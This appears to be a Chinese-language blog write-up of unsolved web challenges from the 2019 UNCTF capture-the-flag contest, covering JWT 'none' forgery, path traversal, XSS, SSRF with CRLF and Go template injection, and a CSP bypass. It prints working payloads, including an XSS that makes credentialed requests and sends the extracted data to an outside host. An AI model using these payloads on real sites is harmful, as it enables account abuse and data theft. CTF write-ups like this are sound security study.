2019UNCTF 未解WEB复现填坑

前言

在复现这些未做出题目时候,感觉自己比赛时候还是不够细心,没有考虑出题人意图和其他漏洞点,看着是sql注入,就不去考虑其他漏洞利用方式。

Arbi

登录注册界面

1573556772013

登录之后,服务端本地开启9000端口读取本地文件,路径依据注册的账号,可以便利目录读文件

1573556758357

Express框架,读取http://127.0.0.1:9000/upload/../package.json?.jpg

1573556592148

后端使用jwt构造身份验证

1573565534827

  1. 利用express当传入algorithm为none,会使用algorithm none解密
  2. var secret = global.secretlist[id]; 传入不存在的id,使得secret为undefined

1573565835641

在login界面增加伪造token,并登录,进入admin后台,session.name=’admin’,就能够访问admin23333_interface.js

1573566009065

1573565975973

admin23333_interface.js有个文件读取接口,参数可控

1573566045820

用到两个trick:

  1. 传入a[b]=1 会转为a={“b”:1}构造为对象,正则匹配无法识别对象,爆warnnig绕过第一个if
  2. length不仅可以取字符串长度还可以取数组长度,把filename设数组,再配合下面的循环 即可完美绕过过滤 而express 中当碰到两个同名变量时,会把这个变量设置为数组,例如a=123&a=456 解析后 a = [123,456],所以最终组合成

1573562632890

payload:<http://183.129.189.60:10047/admin23333_interface?name[filename]=../&name[filename]=f&name[filename]=l&name[filename]=a&name[filename]=g>

1573566304858

easyXSS

测试xss

<img src='123' onerror='alert(1)' >

1573567727736

1573650330594

Httponly限制了跨域请求,解决思路:开发者为了更好的支持跨域请求,引入了ajax。观察所有web界面ACL是否支持跨域请求且附带会附带cookie。其中最明显的是回显头显示允许X-Requests-with.

最好利用的是http://112.74.37.15:8010/index.php/treehole/view 响应头ACL显示支持X-Requests-with且带cookie

1573646018526

payload

<img src='/efefefe' onerror="xmlhttp=new
XMLHttpRequest();xmlhttp.withCredentials=true;xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState==4){location.href='http://xss.zhaoj.in/?flag='+
xmlhttp.responseText.match('flag\\{(.\*?)\\}')[1]}};xmlhttp.open('GET','/index.php/treehole/view?id=',true);xmlhttp.send('');"/\>

1573646485750

smile doge

输入点存在ssrf,页面会嵌套http://127.0.0.1内容,再扫描端口发现9527也开放着

1573650428706

扫描目录存在源码泄露/backup/.index.php.swp,源码为golang

type Page struct{
	Name string
	Input string
}

type Input struct{
	MyName string
	MyRequest *http.Request
}

func sayhelloName(w http.ResponseWriter,r *http.Request){
	w.Header().set("X-Powered-By","PHP/5.4.16")
	var out bytes.Buffer
	var response string
	name := ""
	data,err := ioutil.ReadFile("/flag")
	if err != nil{

	}
	var FLAG = string(data)
	r.ParseForm()
	r.Header.Add("FLAg", FLAG)

	if len(r.Header[])>0{
		name = r.Header["Logic"][0]

	}else{
		name = "No.9527"
	}
	
}

解读代码下,毕竟第一次接触go语言

开头定义两个结构体Page和Input,sayhelloName方法设置回显头和请求处理,重点关注flag位置,通过io流读取最后保存在FLAG变量中,最后会在请求时候带上。

传入http://127.0.0.1:9527回显`No.9527`,以上文件是该端口的备份文件没跑了。

1573660464066

在看以下代码,另一个r.Header["Logic"][0] 前端外带的数据为name值,如果此处可控,可以外带flag就完美了。

if len(r.Header[])>0{
		name = r.Header["Logic"][0]

	}else{
		name = "No.9527"
	}

r.Header["Logic"][0]为获取请求头的Logic键,通过ssrf直接请求http://127.0.0.1:9527无法设置请求头,考虑CRLF注入.这里正好使用http包.

https://github.com/golang/go/issues/30794

1573661068540

接下就是外带flag问题了,以上代码分析,flag是会被读取到http.Request中,而又存在一个可疑的结构体MyRequest对象,

应该是调用该方法时候传入的对象.

type Input struct{
	MyName string
	MyRequest *http.Request
}

接着利用模板注入,外带出FLAG

payload:name=http://127.0.0.1:9527/? HTTP/1.1\r\nLogic: {{.MyRequest}}

1573661507668

superxss(待学习补充)

1573662778533

访问后可得如下CSP

csp测试网站:https://csp-evaluator.withgoogle.com/

default-src 'self' 183.129.189.60 => 只允许源183.129.189.60获取数据

script-src 'self' 'unsafe-inline' => 允许使用内联 JavaScript 和 CSS。

object-src 'none' => 可对 Flash 和其他插件进行控制 不执行任何匹配

Content-Security-Policy: default-src 'self' 183.129.189.60;script-src 'self' 'unsafe-inline';object-src 'none'

过滤字符

' => ` 替代
\过滤
还过滤挺多事件onerror

wp给了个bypass xss/csp,但是后门exp就不会写了,扔个坑

<frameset onpageshow =

参考链接

https://www.ctfwp.com/articals/2019unctf.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!